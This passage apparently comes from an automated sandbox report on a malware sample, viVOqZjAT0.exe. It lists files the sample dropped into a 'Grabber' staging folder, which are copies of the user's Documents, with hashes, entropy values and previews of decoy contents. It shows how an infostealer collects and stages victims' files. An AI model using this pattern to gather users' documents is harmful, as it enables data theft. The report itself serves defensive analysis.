Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.9.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.3.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.6.....

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Videos\desktop.ini

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.5218877566914193
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmclDmo0qmJclLwr2FlDmo0IWVvklrgl2FlDmo0qjKArn:QCGwv4o0o4o0mlLwiF4o090UsF4o01Ar
MD5:	50A956778107A4272AAE83C86ECE77CB
SHA1:	10BCE7EA45077C0BAAB055E0602EEF787DBA735E
SHA-256:	B287B639F6EDD612F414CAF000C12BA0555ADB3A2643230CBDD5AF4053284978
SHA-512:	D1DF6BDC871CACBC776AC8152A76E331D2F1D905A50D9D358C7BF9ED7C5CBB510C9D52D6958B071E5BCBA7C5117FC8F9729FE51724E82CC45F6B7B5AFE5ED51A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.1.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.9.0.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.9.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.8.....

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\NIKHQAIQAU.png

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690394987545919
Encrypted:	false
SSDEEP:	24:x8Xtqp+Wamt5Tlx/0lL5fswH7s9cBus1XuWzv:+tNsfMswbVb+WD
MD5:	CA901F8E74EB7955CF06A00BD424C0C2
SHA1:	0876F92A018E8AB57F666FBB048B1CD028607A38
SHA-256:	6DAB1DF82EDD11EEF4FD3B81E692BF065731935C03D4AAEB4493612188DD1D16
SHA-512:	7363E62B6FB08E96BD561FA00A05C7A88C0C20943FC3FB9CD505C77CCB40C549F8943DDFCA69532F6544E9CC929EB5786C488F3D7E8F1AB0F05C3EA10E4EA0B2
Malicious:	false
Preview:	NIKHQAIQAUYLAGKSNVEIEFIHRXSBOKMMEGWDWAKSEZEDBXXYJJOUSSENRJICLDBYWKJEUKRIBTNODZEVLZHOZSPIROLEDDZIVDLRTCVHZIXTARRYNQXDSJTZFOOYHUCROZUVPHMDRIWZWYNOATHQMKGZMPPIBYIAXUSGLYFPQTHUARHNEBTECYTUUCXJOESOPPKVXGBHXGPHIYJEJAYBFOVPMDVWEZNFBQJKZAWGCIWNFBSDPSSBBQTNYDJVQTTPUWPOOTVYKITOESDZWHOTFCZIQUYASDBGWAPMXAFIGQFPGWTRNBMHCXAZNMKIOSHYBMTSDERCDBFQSLEBTIGMCRUGZJZQAMYIFXIHLBUBWXCKIQTVQNMYMUYZWTTRQAVEAQFTTDTEFYTIXVPFUZALHHYLJHLNOFTPHODDWSFLBPCVKNDNFYPRHRVBHZSKKAJYBRTRWEHCIAZYAWYXGIRJSURFADGDZBTKMLEAYICWBYEAKNBIIDMQKZIXOLIQHETRIJJOSQDVZXKTZOMXOXGKIEJJNUHMCNVBNTYVETDBZHKYQLQYJBSUUNGMIURLIIINJAVXYNHTVSYTVBSAGNGQGUYADHTCDXNDKQFKCMHFRLWQZMSHDZEBEGPOSOPFUUHIVYBVXTLHFYHMHALQHNIUKMTKRBYZDOEALSNTXJRYMEETOQRISFEOVJSBVNMZFHXIDWOPIZKHISVTXVHAUPHEUOQLFVPNKREKEFDTLOWUVDKPDDCBKKSSGLLJSGVCAKVVFFKUKYVELNQTKZZRSDNEKDHUGDQWFBGFQMTINSXDOXPQOPZWHRDBBIZNGWLXSHCGVIBTIQEUTFYRIYKHRANDXVFREQPDFPRAKAFCQSRGTEIQGEAVDTJRESPBHYVTTLHWYQSKOZIBJZRSUJETZFCGMBHNYUSWWAENDXQUJFMLWZXGNLDFLSRZJBBJCPWKHFZXEVBDCLKULDSDXUFVEWFBMUMFQQONCJFFBARKNAVJ

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\NWTVCDUMOB.pdf

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\ONBQCLYSPU.xlsx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\ONBQCLYSPU\HTAGVDFUIE.pdf

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\ONBQCLYSPU\LTKMYBSEYZ.jpg

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\ONBQCLYSPU\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\ONBQCLYSPU\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\ONBQCLYSPU\WUTJSCBCFX.png

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688284131239007
Encrypted:	false
SSDEEP:	24:94BsLCi4I4Bpno3+PqX1T1MziEko3RYNdEK:alI4BjP4x9JGK
MD5:	E8ACCA0F46CBA97FE289855535184C72
SHA1:	059878D0B535AEE9092BF82886FC68DC816D9F08
SHA-256:	CFB1D698291CFF6EFE21CB913EDEB823FA6F84B5F437F61ED9E04C6A80CC4DCD
SHA-512:	185601B848EDE2A752D1DC0534A2593231C67AF68E506DD3BA05D93435780F378250B27898CBD61F225C5FE6AB72CD21638C6159FC2D107767D2AB43547E0E71
Malicious:	false
Preview:	WUTJSCBCFXNSEWGLWGYOOQVVDPFNFUMPQAJVNXNKMXQRORVUIYYNQWAMOZTIZPEADOKEPDLVMNENFIICEKOTBVPODCEHVNDEMTCADGQBTUSRFDCQOFZZQCSIEKBJNREDYYVFOXFLSAVVRDBODQPUEQUZAVGFLXOWSKRTDQOYTNPZUFOPXFJPIZPUZNQGPAVLZQOLZQMEBSIDSSSOCJNYRGTGEHRLTXLSBXCVGBOIDKKEIUHPVJXFIBUKHHHIZJXBNSFVSIBUVDLJVQHLZQNPKVUYGSBYLDPVSZZIAGXVZKTZMOMHKJTCACLNIHVZQOYHZUOCHMTDPXWSWWCTZKVXUPJXTUQVYKVNBTOOXYSOQYGOROUJYIQIBLZXWHWHSDDSIDRAQBFHFUASJJFJZGJMXLKHMELZDCBSAECBJUYDLONQSYTFIGRFXVYQXQGOAYYQXFJQFPARQPKZARUFLFZALPMOXFKFAAFQYQJSBYRLXSYWILKBWNNKNPTXDFHFCBTUEWYUGEMBZMEFHNMBDRELQEYFKIFARDWZODMHWXQBTISSHAEWZTVFJRKELIBQQEXSWFZUGGGKZXSPWOXYPOCCJIHNGOPVFNWYZRPTOWAGQPVVZLHPYYBDQTUFWFIVGYOBQSXERHTUDUHOJIRJFKQQOOIXOHPHYQPYDGSQQNOEUWFVOVYMHEJBARDLGPVSTERBBBFSGVNSUAZCVAXBSTLPAQENSALLVBNGJHCERSSMMHCALJSZJJKDFYFVTEQEUIBYNZPMUJQZNJVUGNGKENCJKNBTKBYOEUUGFFKIBVHNAUHYEUNDBZPKFZERTSXYHOMVAJJBPSNOOYHZFWINWEJCFGHKIORUHARZYNBKYMOWZHDVWQBITESVLGVECBBJDDHUCWOJFWBQJSKRWHJPPGEKBDXIPJJDDYHGUCDCBZQDUVHEBPPQBUDSOAYQTNFMYUBRJNRJFSMUCNFWURFGGIHZFMXDVIINVRGXSRYXBYBI

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\UMMBDNEQBN.jpg

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
